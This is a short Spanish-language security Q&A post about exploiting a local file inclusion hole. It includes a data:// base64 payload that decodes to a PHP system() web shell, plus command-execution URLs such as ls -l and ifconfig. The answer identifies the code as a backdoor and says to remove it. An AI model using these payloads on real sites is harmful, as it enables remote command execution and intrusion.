Explotación de LFI usando datos: // [cerrado]

Navega tus respuestas
-2

Encontré LFI en mi sitio web y traté de explotarlo, pero cuando uso php: // input or data: // no funciona, no puedo obtener el shell.

Ejemplo: .index.php?lang=data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4=&x=ls -l

He encontrado <?system($_GET['x']);?> impreso en el código fuente de la página (ctrl + f)

  1. ¿Cómo puedo explotarlo?

  2. ¿Cómo puedo solucionarlo?

pregunta Sec Researcher 26.09.2015 - 02:44
fuente

1 respuesta

1
<?system($_GET['x']);?>

¡Esto suena como una puerta trasera en su aplicación (Ejecución remota de comandos, no inclusión de archivos)!

Para explotarlo - Prueba: index.php? x = ifconfig 2 > & 1

Para solucionarlo - Quítalo.

    
respondido por el Dr.Ü 26.09.2015 - 14:10
fuente

Lea otras preguntas en las etiquetas

Robo de contraseña vs Hackeo de cuenta [cerrado] Eliminar un hacker telnet [cerrado]